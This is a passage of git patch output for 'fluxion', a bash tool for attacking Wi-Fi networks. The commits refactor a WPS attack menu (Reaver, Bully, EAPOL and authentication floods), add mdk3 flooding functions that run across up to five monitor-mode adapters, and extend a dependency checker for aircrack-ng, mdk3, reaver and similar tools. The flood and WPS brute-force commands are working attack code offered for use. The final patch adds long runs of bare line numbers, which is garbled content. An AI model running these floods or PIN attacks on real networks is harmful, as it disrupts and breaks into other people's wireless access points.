$WIFI_MONITOR3 down +sleep 1 } run_mdk3_EAPOL3() { +sleep 1 +ifconfig $WIFI_MONITOR2 up +sleep 1 +ifconfig $WIFI_MONITOR3 up +sleep 1 xterm -e "timeout 20s mdk3 $WIFI_MONITOR1 x 0 -t $mac -n $ssid -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $mac -n $ssid -s 250 & timeout 20s mdk3 $WIFI_MONITOR3 x 0 -t $mac -n $ssid -s 250" +sleep 1 +ifconfig $WIFI_MONITOR2 down +sleep 1 +ifconfig $WIFI_MONITOR3 down +sleep 1 } run_mdk3_ASOC4() { +sleep 1 +ifconfig $WIFI_MONITOR2 up +sleep 1 +ifconfig $WIFI_MONITOR3 up +sleep 1 +ifconfig $WIFI_MONITOR4 up +sleep 1 xterm -e "timeout 60 mdk3 $WIFI_MONITOR1 a -a $mac -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $mac -m & timeout 60 mdk3 $WIFI_MONITOR3 a -a $mac -m & timeout 60 mdk3 $WIFI_MONITOR4 a -a $mac -m" +sleep 1 +ifconfig $WIFI_MONITOR2 down +sleep 1 +ifconfig $WIFI_MONITOR3 down +sleep 1 +ifconfig $WIFI_MONITOR4 down +sleep 1 } run_mdk3_EAPOL4() { +sleep 1 +ifconfig $WIFI_MONITOR2 up +sleep 1 +ifconfig $WIFI_MONITOR3 up +sleep 1 +ifconfig $WIFI_MONITOR4 up +sleep 1 xterm -e "timeout 20s mdk3 $WIFI_MONITOR1 x 0 -t $mac -n $ssid -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $mac -n $ssid -s 250 & timeout 20s mdk3 $WIFI_MONITOR3 x 0 -t $mac -n $ssid -s 250 & timeout 20s mdk3 $WIFI_MONITOR4 x 0 -t $mac -n $ssid -s 250" +sleep 1 +ifconfig $WIFI_MONITOR2 down +sleep 1 +ifconfig $WIFI_MONITOR3 down +sleep 1 +ifconfig $WIFI_MONITOR4 down +sleep 1 } run_mdk3_ASOC5() { +sleep 1 +ifconfig $WIFI_MONITOR2 up +sleep 1 +ifconfig $WIFI_MONITOR3 up +sleep 1 +ifconfig $WIFI_MONITOR4 up +sleep 1 +ifconfig $WIFI_MONITOR5 up +sleep 1 xterm -e "timeout 60 mdk3 $WIFI_MONITOR1 a -a $mac -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $mac -m & timeout 60 mdk3 $WIFI_MONITOR3 a -a $mac -m & timeout 60 mdk3 $WIFI_MONITOR4 a -a $mac -m & timeout 60 mdk3 $WIFI_MONITOR5 a -a $mac -m" +sleep 1 +ifconfig $WIFI_MONITOR2 down +sleep 1 +ifconfig $WIFI_MONITOR3 down +sleep 1 +ifconfig $WIFI_MONITOR4 down +sleep 1 +ifconfig $WIFI_MONITOR5 down +sleep 1 } run_mdk3_EAPOL5() { +sleep 1 +ifconfig $WIFI_MONITOR2 up +sleep 1 +ifconfig $WIFI_MONITOR3 up +sleep 1 +ifconfig $WIFI_MONITOR4 up +sleep 1 +ifconfig $WIFI_MONITOR5 up +sleep 1 xterm -e "timeout 20s mdk3 $WIFI_MONITOR1 x 0 -t $mac -n $ssid -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $mac -n $ssid -s 250 & timeout 20s mdk3 $WIFI_MONITOR3 x 0 -t $mac -n $ssid -s 250 & timeout 20s mdk3 $WIFI_MONITOR4 x 0 -t $mac -n $ssid -s 250 & timeout 20s mdk3 $WIFI_MONITOR5 x 0 -t $mac -n $ssid -s 250" +sleep 1 +ifconfig $WIFI_MONITOR2 down +sleep 1 +ifconfig $WIFI_MONITOR3 down +sleep 1 +ifconfig $WIFI_MONITOR4 down +sleep 1 +ifconfig $WIFI_MONITOR5 down +sleep 1 } ##################################End Of Functions For MDK3 ######################################## +WPS_ATTACK_MENU() +{ +mostrarheader +echo "************** - Which Attack Would You Like To Use? - ************** +0)Select New Target Network +1)EAPOL Start Flood +2)Authentication Flood +3)Reaver +4)Check if Access Point WPS is UNLOCKED +5)Reaver with AutoFlood(ASOC) +6)Reaver with AutoFlood(EAPOL) +7)Bully +8)Bully with AutoFlood(ASOC) +9)Bully with AutoFlood(EAPOL) + +*AutoFlood Attacks will store the Password in Root/(Reaver or Bully)Output.txt Once found*" +} + +mostrarheader echo "************** - How Many Wlan Adapters Would You Like To Use? - ************** 1)1 Adapter 2)2 Adapters @@ -1213,19 +1330,19 @@ read a case $a in 1) clear - +mostrarheader echo read -p " - What is the name of your Wlan Adapter (Ex:Wlan0) - ": WIFI_MONITOR1; clear - +mostrarheader enable_mon_mode_1 sleep 1 clear - +mostrarheader echo "************** - Would you like to Change the Wlan WIFI_MONITOR's MAC Address? - ************** 1)Yes 2)No" @@ -1234,7 +1351,7 @@ read c case $c in 1) clear - +mostrarheader mac_change_1 sleep 1 @@ -1251,24 +1368,13 @@ esac menu () { clear -echo "************** - Which Attack Would You Like To Use? - ************** -0)Select New Target Network -1)EAPOL Start Flood -2)Authentication Flood -3)Reaver -4)Check if Access Point WPS is UNLOCKED -5)Reaver with AutoFlood(ASOC) -6)Reaver with AutoFlood(EAPOL) -7)Bully -8)Bully with AutoFlood(ASOC) -9)Bully with AutoFlood(EAPOL) - -*AutoFlood Attacks will store the Password in Root/(Reaver or Bully)Output.txt Once found*" +WPS_ATTACK_MENU read d case $d in 0) clear +mostrarheader scan_for_targets enable_mon_mode_1 menu @@ -1405,19 +1511,7 @@ esac menu () { clear -echo "************** - Which Attack Would You Like To Use? - ************** -0)Select New Target Network -1)EAPOL Start Flood -2)Authentication Flood -3)Reaver -4)Check if Access Point WPS is UNLOCKED -5)Reaver with AutoFlood(ASOC) -6)Reaver with AutoFlood(EAPOL) -7)Bully -8)Bully with AutoFlood(ASOC) -9)Bully with AutoFlood(EAPOL) - -*AutoFlood Attacks will store the Password in Root/(Reaver or Bully)Output.txt Once found*" +WPS_ATTACK_MENU read g case $g in @@ -1569,19 +1663,7 @@ esac menu () { clear -echo "************** - Which Attack Would You Like To Use? - ************** -0)Select New Target Network -1)EAPOL Start Flood -2)Authentication Flood -3)Reaver -4)Check if Access Point WPS is UNLOCKED -5)Reaver with AutoFlood(ASOC) -6)Reaver with AutoFlood(EAPOL) -7)Bully -8)Bully with AutoFlood(ASOC) -9)Bully with AutoFlood(EAPOL) - -*AutoFlood Attacks will store the Password in Root/(Reaver or Bully)Output.txt Once found*" +WPS_ATTACK_MENU read j case $j in @@ -1738,19 +1820,7 @@ clear menu () { clear -echo "************** - Which Attack Would You Like To Use? - ************** -0)Select New Target Network -1)EAPOL Start Flood -2)Authentication Flood -3)Reaver -4)Check if Access Point WPS is UNLOCKED -5)Reaver with AutoFlood(ASOC) -6)Reaver with AutoFlood(EAPOL) -7)Bully -8)Bully with AutoFlood(ASOC) -9)Bully with AutoFlood(EAPOL) - -*AutoFlood Attacks will store the Password in Root/(Reaver or Bully)Output.txt Once found*" +WPS_ATTACK_MENU read m case $m in @@ -1912,19 +1982,7 @@ esac menu () { clear -echo "************** - Which Attack Would You Like To Use? - ************** -0)Select New Target Network -1)EAPOL Start Flood -2)Authentication Flood -3)Reaver -4)Check if Access Point WPS is UNLOCKED -5)Reaver with AutoFlood(ASOC) -6)Reaver with AutoFlood(EAPOL) -7)Bully -8)Bully with AutoFlood(ASOC) -9)Bully with AutoFlood(EAPOL) - -*AutoFlood Attacks will store the Password in Root/(Reaver or Bully)Output.txt Once found*" +WPS_ATTACK_MENU read p case $p in From 5db01fa4af8ec61cf1c066da3293bcc90b18608e Mon Sep 17 00:00:00 2001 From: strasharo Date: Wed, 23 Mar 2016 01:29:43 +0200 Subject: [PATCH 104/294] relocate rfkill unblock inside the interface setup function --- fluxion | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/fluxion b/fluxion index 13335c0..3f908f1 100755 --- a/fluxion +++ b/fluxion @@ -1,7 +1,5 @@ #!/bin/bash -rfkill unblock all - ########## DEBUG Mode ########## ## ## FLUX_DEBUG=0 @@ -629,6 +627,8 @@ esac # Choose Interface function setinterface { + #unblock interfaces + rfkill unblock all # Collect all interfaces in montitor mode & stop all KILLMONITOR=`iwconfig 2>&1 | grep Monitor | awk '{print $1}'` From 22c05646b06dccb44ce23e17b8cb27d6ee1cc221 Mon Sep 17 00:00:00 2001 From: strasharo Date: Wed, 23 Mar 2016 01:50:25 +0200 Subject: [PATCH 105/294] correct translation --- fluxion | 21 +++++++++------------ 1 file changed, 9 insertions(+), 12 deletions(-) diff --git a/fluxion b/fluxion index 3f908f1..45dffb6 100755 --- a/fluxion +++ b/fluxion @@ -12,8 +12,8 @@ if [[ $EUID -ne 0 ]]; then fi clear + ##################################### < CONFIGURATION > ##################################### - DUMP_PATH="/tmp/TMPflux" HANDSHAKE_PATH="/root/handshakes" PASSLOG_PATH="/root/pwlog" @@ -24,7 +24,7 @@ version=0.19 IP=192.168.1.1 RANG_IP=$(echo $IP | cut -d "." -f 1,2,3) -#Colores +#Colors white="\033[1;37m" grey="\033[0;37m" purple="\033[0;35m" @@ -56,6 +56,7 @@ function airmon { chmod +x airmon } airmon + # Check Updates function checkupdatess { @@ -85,19 +86,15 @@ function spinner { } # ERROR Report only in Developer Mode -# FLUXION = Developer Mode -# Fluxass = Normal Mode -if [ "$FLUX_DEBUG" = "1" ]; then - trap 'err_report $FLUXION' ERR -fi - -# ERROR Report Normale Mode function err_report { - echo "Error en la fluxass $1" + echo "Error on line $1" } +if [ "$FLUX_DEBUG" = "1" ]; then + trap 'err_report $LINENUM' ERR +fi -#If the script exits unexpectedly +#Function to executed in case of unexpected termination trap exitmode SIGINT SIGHUP # KILL ALL @@ -267,7 +264,7 @@ function mostrarheader(){ } -##################################### < CONFIGURACION > ##################################### +##################################### < END OF CONFIGURATION SECTION > ##################################### From 64201fda5fc27d171314dfd71c0772e8dc32ea39 Mon Sep 17 00:00:00 2001 From: strasharo Date: Wed, 23 Mar 2016 01:57:13 +0200 Subject: [PATCH 106/294] correct webpage --- fluxion | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fluxion b/fluxion index 45dffb6..14e9b15 100755 --- a/fluxion +++ b/fluxion @@ -480,7 +480,7 @@ if [ $FLUX_DEBUG != 1 ]; then sleep 1 echo -e $red" FLUX "$white""$version" (rev. "$green "$revision"$white") "$yellow"by "$white" deltax" sleep 1 - echo -e $green " Page:"$red"www.flux.jimdo.de "$transparent + echo -e $green " Page:"$red"https://github.com/deltaxflux/fluxion "$transparent sleep 1 echo -n " Latest rev." tput civis From da4bb6405d71be8940e2e88a9b0a4822b7b09cca Mon Sep 17 00:00:00 2001 From: strasharo Date: Wed, 23 Mar 2016 01:58:24 +0200 Subject: [PATCH 107/294] add spacing --- fluxion | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fluxion b/fluxion index 14e9b15..0c6a8ba 100755 --- a/fluxion +++ b/fluxion @@ -480,7 +480,7 @@ if [ $FLUX_DEBUG != 1 ]; then sleep 1 echo -e $red" FLUX "$white""$version" (rev. "$green "$revision"$white") "$yellow"by "$white" deltax" sleep 1 - echo -e $green " Page:"$red"https://github.com/deltaxflux/fluxion "$transparent + echo -e $green " Page:"$red" https://github.com/deltaxflux/fluxion "$transparent sleep 1 echo -n " Latest rev." tput civis From 4626ec22fced97354ebaf312533b77843b6d6219 Mon Sep 17 00:00:00 2001 From: William Todt Date: Wed, 23 Mar 2016 12:07:02 -0400 Subject: [PATCH 108/294] Update fluxion --- fluxion | 31 +++++++++++++++++-------------- 1 file changed, 17 insertions(+), 14 deletions(-) diff --git a/fluxion b/fluxion index 0c6a8ba..712e8de 100755 --- a/fluxion +++ b/fluxion @@ -1299,19 +1299,22 @@ sleep 1 WPS_ATTACK_MENU() { mostrarheader -echo "************** - Which Attack Would You Like To Use? - ************** -0)Select New Target Network -1)EAPOL Start Flood -2)Authentication Flood -3)Reaver -4)Check if Access Point WPS is UNLOCKED -5)Reaver with AutoFlood(ASOC) -6)Reaver with AutoFlood(EAPOL) -7)Bully -8)Bully with AutoFlood(ASOC) -9)Bully with AutoFlood(EAPOL) - -*AutoFlood Attacks will store the Password in Root/(Reaver or Bully)Output.txt Once found*" +echo "Which Attack Would You Like To Use?" + echo " " + echo -e " "$blue"0)"$transparent" Select New Target Network" + echo -e " "$blue"1)"$transparent" EAPOL Start Flood" + echo -e " "$blue"2)"$transparent" Authentication Flood" + echo -e " "$blue"3)"$transparent" Reaver " + echo -e " "$blue"4)"$transparent" Check if Access Point WPS is UNLOCKED" + echo -e " "$blue"5)"$transparent" Reaver with AutoFlood(ASOC)" + echo -e " "$blue"6)"$transparent" Reaver with AutoFlood(EAPOL)" + echo -e " "$blue"7)"$transparent" Bully " + echo -e " "$blue"8)"$transparent" Bully with AutoFlood(ASOC) " + echo -e " "$blue"9)"$transparent" Bully with AutoFlood(EAPOL) " + echo -e " "$blue"10)"$transparent"Exit" + echo " " + echo "*AutoFlood Attacks will store the Password in Root/(Reaver or Bully)Output.txt Once found*" + } @@ -2166,7 +2169,7 @@ function deauthforce { echo " " echo -e " "$blue"1)"$transparent" aircrack-ng (Miss chance)" echo -e " "$blue"2)"$transparent" pyrit" - echo -e " "$blue"6)"$transparent" Back" + echo -e " "$blue"3)"$transparent" Back" echo " " echo -n " #> " read yn From ec5124234c159480270f38fc15467a6ff04eb7c1 Mon Sep 17 00:00:00 2001 From: strasharo Date: Thu, 24 Mar 2016 02:17:29 +0200 Subject: [PATCH 109/294] append BullyOutput.txt to gitignore --- .gitignore | 1 + 1 file changed, 1 insertion(+) diff --git a/.gitignore b/.gitignore index d772925..5c1584d 100644 --- a/.gitignore +++ b/.gitignore @@ -1,3 +1,4 @@ *~ *.swp *.swo +BullyOutput.txt From fe74db89ae10cdb4c384041a5ea84b7e13d85eed Mon Sep 17 00:00:00 2001 From: William Todt Date: Thu, 24 Mar 2016 08:40:44 -0400 Subject: [PATCH 110/294] fix issue --- fluxion | 59 +++++++++++++++++++++++++++++++++++++-------------------- 1 file changed, 38 insertions(+), 21 deletions(-) diff --git a/fluxion b/fluxion index 712e8de..82e9209 100755 --- a/fluxion +++ b/fluxion @@ -279,7 +279,7 @@ function checkdependences { echo -ne "Aircrack-ng....." if ! hash aircrack-ng 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" - salir=1 + exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi @@ -288,7 +288,7 @@ function checkdependences { echo -ne "Aireplay-ng....." if ! hash aireplay-ng 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" - salir=1 + exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi @@ -297,7 +297,7 @@ function checkdependences { echo -ne "Airmon-ng......." if ! hash airmon-ng 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" - salir=1 + exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi @@ -306,7 +306,7 @@ function checkdependences { echo -ne "Airodump-ng....." if ! hash airodump-ng 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" - salir=1 + exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi @@ -315,16 +315,24 @@ function checkdependences { echo -ne "Awk............." if ! hash awk 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" - salir=1 + exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 - + + echo -ne "Bully..........." + if ! hash bully 2>/dev/null; then + echo -e "\e[1;32mNot installed"$transparent"" + else + echo -e "\e[1;32mOK!"$transparent"" + fi + sleep 0.025 + echo -ne "Curl............" if ! hash curl 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" - salir=1 + exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi @@ -333,7 +341,7 @@ function checkdependences { echo -ne "Dhcpd..........." if ! hash dhcpd 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent" (isc-dhcp-server)" - salir=1 + exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi @@ -342,7 +350,7 @@ function checkdependences { echo -ne "Hostapd........." if ! hash hostapd 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" - salir=1 + exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi @@ -351,7 +359,7 @@ function checkdependences { echo -ne "Iwconfig........" if ! hash iwconfig 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" - salir=1 + exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi @@ -360,7 +368,7 @@ function checkdependences { echo -ne "Lighttpd........" if ! hash lighttpd 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" - salir=1 + exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi @@ -369,7 +377,7 @@ function checkdependences { echo -ne "Macchanger......" if ! hash macchanger 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" - salir=1 + exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi @@ -378,7 +386,7 @@ function checkdependences { echo -ne "Mdk3............" if ! hash mdk3 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" - salir=1 + exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi @@ -387,7 +395,7 @@ function checkdependences { echo -ne "Nmap............" if ! [ -f /usr/bin/nmap ]; then echo -e "\e[1;31mNot installed"$transparent"" - salir=1 + exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi @@ -396,7 +404,7 @@ function checkdependences { echo -ne "Php5-cgi........" if ! [ -f /usr/bin/php-cgi ]; then echo -e "\e[1;31mNot installed"$transparent"" - salir=1 + exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi @@ -405,7 +413,7 @@ function checkdependences { echo -ne "Pyrit..........." if ! hash pyrit 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" - salir=1 + exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi @@ -414,16 +422,25 @@ function checkdependences { echo -ne "Python.........." if ! hash python 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" - salir=1 + exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 - + + echo -ne "Reaver.........." + if ! hash reaver 2>/dev/null; then + echo -e "\e[1;31mNot installed"$transparent"" + exit=1 + else + echo -e "\e[1;32mOK!"$transparent"" + fi + sleep 0.025 + echo -ne "Unzip..........." if ! hash unzip 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" - salir=1 + exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi @@ -432,13 +449,13 @@ function checkdependences { echo -ne "Xterm..........." if ! hash xterm 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" - salir=1 + exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 - if [ "$salir" = "1" ]; then + if [ "$exit" = "1" ]; then exit 1 fi From d7838be6daff26d2e380b2fd9ace4ca9a844925d Mon Sep 17 00:00:00 2001 From: strasharo Date: Thu, 24 Mar 2016 20:38:59 +0200 Subject: [PATCH 111/294] add rfkill check --- fluxion | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/fluxion b/fluxion index 82e9209..e7f193d 100755 --- a/fluxion +++ b/fluxion @@ -455,6 +455,15 @@ function checkdependences { fi sleep 0.025 + echo -ne "rfkill..........." + if ! hash rfkill 2>/dev/null; then + echo -e "\e[1;31mNot installed"$transparent"" + exit=1 + else + echo -e "\e[1;32mOK!"$transparent"" + fi + sleep 0.025 + if [ "$exit" = "1" ]; then exit 1 fi From 826bf7ecf9a6f74a43c22c3ba35cf41bceaef9e5 Mon Sep 17 00:00:00 2001 From: William Todt Date: Fri, 25 Mar 2016 14:45:19 +0100 Subject: [PATCH 112/294] Fix issues --- fluxion | 5980 ++++++++++++++++++++++++++++++++++++++++++++++++++++++- 1 file changed, 5959 insertions(+), 21 deletions(-) diff --git a/fluxion b/fluxion index e7f193d..5c1d786 100755 --- a/fluxion +++ b/fluxion @@ -1,3 +1,5927 @@ +1 +2 +3 +4 +5 +6 +7 +8 +9 +10 +11 +12 +13 +14 +15 +16 +17 +18 +19 +20 +21 +22 +23 +24 +25 +26 +27 +28 +29 +30 +31 +32 +33 +34 +35 +36 +37 +38 +39 +40 +41 +42 +43 +44 +45 +46 +47 +48 +49 +50 +51 +52 +53 +54 +55 +56 +57 +58 +59 +60 +61 +62 +63 +64 +65 +66 +67 +68 +69 +70 +71 +72 +73 +74 +75 +76 +77 +78 +79 +80 +81 +82 +83 +84 +85 +86 +87 +88 +89 +90 +91 +92 +93 +94 +95 +96 +97 +98 +99 +100 +101 +102 +103 +104 +105 +106 +107 +108 +109 +110 +111 +112 +113 +114 +115 +116 +117 +118 +119 +120 +121 +122 +123 +124 +125 +126 +127 +128 +129 +130 +131 +132 +133 +134 +135 +136 +137 +138 +139 +140 +141 +142 +143 +144 +145 +146 +147 +148 +149 +150 +151 +152 +153 +154 +155 +156 +157 +158 +159 +160 +161 +162 +163 +164 +165 +166 +167 +168 +169 +170 +171 +172 +173 +174 +175 +176 +177 +178 +179 +180 +181 +182 +183 +184 +185 +186 +187 +188 +189 +190 +191 +192 +193 +194 +195 +196 +197 +198 +199 +200 +201 +202 +203 +204 +205 +206 +207 +208 +209 +210 +211 +212 +213 +214 +215 +216 +217 +218 +219 +220 +221 +222 +223 +224 +225 +226 +227 +228 +229 +230 +231 +232 +233 +234 +235 +236 +237 +238 +239 +240 +241 +242 +243 +244 +245 +246 +247 +248 +249 +250 +251 +252 +253 +254 +255 +256 +257 +258 +259 +260 +261 +262 +263 +264 +265 +266 +267 +268 +269 +270 +271 +272 +273 +274 +275 +276 +277 +278 +279 +280 +281 +282 +283 +284 +285 +286 +287 +288 +289 +290 +291 +292 +293 +294 +295 +296 +297 +298 +299 +300 +301 +302 +303 +304 +305 +306 +307 +308 +309 +310 +311 +312 +313 +314 +315 +316 +317 +318 +319 +320 +321 +322 +323 +324 +325 +326 +327 +328 +329 +330 +331 +332 +333 +334 +335 +336 +337 +338 +339 +340 +341 +342 +343 +344 +345 +346 +347 +348 +349 +350 +351 +352 +353 +354 +355 +356 +357 +358 +359 +360 +361 +362 +363 +364 +365 +366 +367 +368 +369 +370 +371 +372 +373 +374 +375 +376 +377 +378 +379 +380 +381 +382 +383 +384 +385 +386 +387 +388 +389 +390 +391 +392 +393 +394 +395 +396 +397 +398 +399 +400 +401 +402 +403 +404 +405 +406 +407 +408 +409 +410 +411 +412 +413 +414 +415 +416 +417 +418 +419 +420 +421 +422 +423 +424 +425 +426 +427 +428 +429 +430 +431 +432 +433 +434 +435 +436 +437 +438 +439 +440 +441 +442 +443 +444 +445 +446 +447 +448 +449 +450 +451 +452 +453 +454 +455 +456 +457 +458 +459 +460 +461 +462 +463 +464 +465 +466 +467 +468 +469 +470 +471 +472 +473 +474 +475 +476 +477 +478 +479 +480 +481 +482 +483 +484 +485 +486 +487 +488 +489 +490 +491 +492 +493 +494 +495 +496 +497 +498 +499 +500 +501 +502 +503 +504 +505 +506 +507 +508 +509 +510 +511 +512 +513 +514 +515 +516 +517 +518 +519 +520 +521 +522 +523 +524 +525 +526 +527 +528 +529 +530 +531 +532 +533 +534 +535 +536 +537 +538 +539 +540 +541 +542 +543 +544 +545 +546 +547 +548 +549 +550 +551 +552 +553 +554 +555 +556 +557 +558 +559 +560 +561 +562 +563 +564 +565 +566 +567 +568 +569 +570 +571 +572 +573 +574 +575 +576 +577 +578 +579 +580 +581 +582 +583 +584 +585 +586 +587 +588 +589 +590 +591 +592 +593 +594 +595 +596 +597 +598 +599 +600 +601 +602 +603 +604 +605 +606 +607 +608 +609 +610 +611 +612 +613 +614 +615 +616 +617 +618 +619 +620 +621 +622 +623 +624 +625 +626 +627 +628 +629 +630 +631 +632 +633 +634 +635 +636 +637 +638 +639 +640 +641 +642 +643 +644 +645 +646 +647 +648 +649 +650 +651 +652 +653 +654 +655 +656 +657 +658 +659 +660 +661 +662 +663 +664 +665 +666 +667 +668 +669 +670 +671 +672 +673 +674 +675 +676 +677 +678 +679 +680 +681 +682 +683 +684 +685 +686 +687 +688 +689 +690 +691 +692 +693 +694 +695 +696 +697 +698 +699 +700 +701 +702 +703 +704 +705 +706 +707 +708 +709 +710 +711 +712 +713 +714 +715 +716 +717 +718 +719 +720 +721 +722 +723 +724 +725 +726 +727 +728 +729 +730 +731 +732 +733 +734 +735 +736 +737 +738 +739 +740 +741 +742 +743 +744 +745 +746 +747 +748 +749 +750 +751 +752 +753 +754 +755 +756 +757 +758 +759 +760 +761 +762 +763 +764 +765 +766 +767 +768 +769 +770 +771 +772 +773 +774 +775 +776 +777 +778 +779 +780 +781 +782 +783 +784 +785 +786 +787 +788 +789 +790 +791 +792 +793 +794 +795 +796 +797 +798 +799 +800 +801 +802 +803 +804 +805 +806 +807 +808 +809 +810 +811 +812 +813 +814 +815 +816 +817 +818 +819 +820 +821 +822 +823 +824 +825 +826 +827 +828 +829 +830 +831 +832 +833 +834 +835 +836 +837 +838 +839 +840 +841 +842 +843 +844 +845 +846 +847 +848 +849 +850 +851 +852 +853 +854 +855 +856 +857 +858 +859 +860 +861 +862 +863 +864 +865 +866 +867 +868 +869 +870 +871 +872 +873 +874 +875 +876 +877 +878 +879 +880 +881 +882 +883 +884 +885 +886 +887 +888 +889 +890 +891 +892 +893 +894 +895 +896 +897 +898 +899 +900 +901 +902 +903 +904 +905 +906 +907 +908 +909 +910 +911 +912 +913 +914 +915 +916 +917 +918 +919 +920 +921 +922 +923 +924 +925 +926 +927 +928 +929 +930 +931 +932 +933 +934 +935 +936 +937 +938 +939 +940 +941 +942 +943 +944 +945 +946 +947 +948 +949 +950 +951 +952 +953 +954 +955 +956 +957 +958 +959 +960 +961 +962 +963 +964 +965 +966 +967 +968 +969 +970 +971 +972 +973 +974 +975 +976 +977 +978 +979 +980 +981 +982 +983 +984 +985 +986 +987 +988 +989 +990 +991 +992 +993 +994 +995 +996 +997 +998 +999 +1000 +1001 +1002 +1003 +1004 +1005 +1006 +1007 +1008 +1009 +1010 +1011 +1012 +1013 +1014 +1015 +1016 +1017 +1018 +1019 +1020 +1021 +1022 +1023 +1024 +1025 +1026 +1027 +1028 +1029 +1030 +1031 +1032 +1033 +1034 +1035 +1036 +1037 +1038 +1039 +1040 +1041 +1042 +1043 +1044 +1045 +1046 +1047 +1048 +1049 +1050 +1051 +1052 +1053 +1054 +1055 +1056 +1057 +1058 +1059 +1060 +1061 +1062 +1063 +1064 +1065 +1066 +1067 +1068 +1069 +1070 +1071 +1072 +1073 +1074 +1075 +1076 +1077 +1078 +1079 +1080 +1081 +1082 +1083 +1084 +1085 +1086 +1087 +1088 +1089 +1090 +1091 +1092 +1093 +1094 +1095 +1096 +1097 +1098 +1099 +1100 +1101 +1102 +1103 +1104 +1105 +1106 +1107 +1108 +1109 +1110 +1111 +1112 +1113 +1114 +1115 +1116 +1117 +1118 +1119 +1120 +1121 +1122 +1123 +1124 +1125 +1126 +1127 +1128 +1129 +1130 +1131 +1132 +1133 +1134 +1135 +1136 +1137 +1138 +1139 +1140 +1141 +1142 +1143 +1144 +1145 +1146 +1147 +1148 +1149 +1150 +1151 +1152 +1153 +1154 +1155 +1156 +1157 +1158 +1159 +1160 +1161 +1162 +1163 +1164 +1165 +1166 +1167 +1168 +1169 +1170 +1171 +1172 +1173 +1174 +1175 +1176 +1177 +1178 +1179 +1180 +1181 +1182 +1183 +1184 +1185 +1186 +1187 +1188 +1189 +1190 +1191 +1192 +1193 +1194 +1195 +1196 +1197 +1198 +1199 +1200 +1201 +1202 +1203 +1204 +1205 +1206 +1207 +1208 +1209 +1210 +1211 +1212 +1213 +1214 +1215 +1216 +1217 +1218 +1219 +1220 +1221 +1222 +1223 +1224 +1225 +1226 +1227 +1228 +1229 +1230 +1231 +1232 +1233 +1234 +1235 +1236 +1237 +1238 +1239 +1240 +1241 +1242 +1243 +1244 +1245 +1246 +1247 +1248 +1249 +1250 +1251 +1252 +1253 +1254 +1255 +1256 +1257 +1258 +1259 +1260 +1261 +1262 +1263 +1264 +1265 +1266 +1267 +1268 +1269 +1270 +1271 +1272 +1273 +1274 +1275 +1276 +1277 +1278 +1279 +1280 +1281 +1282 +1283 +1284 +1285 +1286 +1287 +1288 +1289 +1290 +1291 +1292 +1293 +1294 +1295 +1296 +1297 +1298 +1299 +1300 +1301 +1302 +1303 +1304 +1305 +1306 +1307 +1308 +1309 +1310 +1311 +1312 +1313 +1314 +1315 +1316 +1317 +1318 +1319 +1320 +1321 +1322 +1323 +1324 +1325 +1326 +1327 +1328 +1329 +1330 +1331 +1332 +1333 +1334 +1335 +1336 +1337 +1338 +1339 +1340 +1341 +1342 +1343 +1344 +1345 +1346 +1347 +1348 +1349 +1350 +1351 +1352 +1353 +1354 +1355 +1356 +1357 +1358 +1359 +1360 +1361 +1362 +1363 +1364 +1365 +1366 +1367 +1368 +1369 +1370 +1371 +1372 +1373 +1374 +1375 +1376 +1377 +1378 +1379 +1380 +1381 +1382 +1383 +1384 +1385 +1386 +1387 +1388 +1389 +1390 +1391 +1392 +1393 +1394 +1395 +1396 +1397 +1398 +1399 +1400 +1401 +1402 +1403 +1404 +1405 +1406 +1407 +1408 +1409 +1410 +1411 +1412 +1413 +1414 +1415 +1416 +1417 +1418 +1419 +1420 +1421 +1422 +1423 +1424 +1425 +1426 +1427 +1428 +1429 +1430 +1431 +1432 +1433 +1434 +1435 +1436 +1437 +1438 +1439 +1440 +1441 +1442 +1443 +1444 +1445 +1446 +1447 +1448 +1449 +1450 +1451 +1452 +1453 +1454 +1455 +1456 +1457 +1458 +1459 +1460 +1461 +1462 +1463 +1464 +1465 +1466 +1467 +1468 +1469 +1470 +1471 +1472 +1473 +1474 +1475 +1476 +1477 +1478 +1479 +1480 +1481 +1482 +1483 +1484 +1485 +1486 +1487 +1488 +1489 +1490 +1491 +1492 +1493 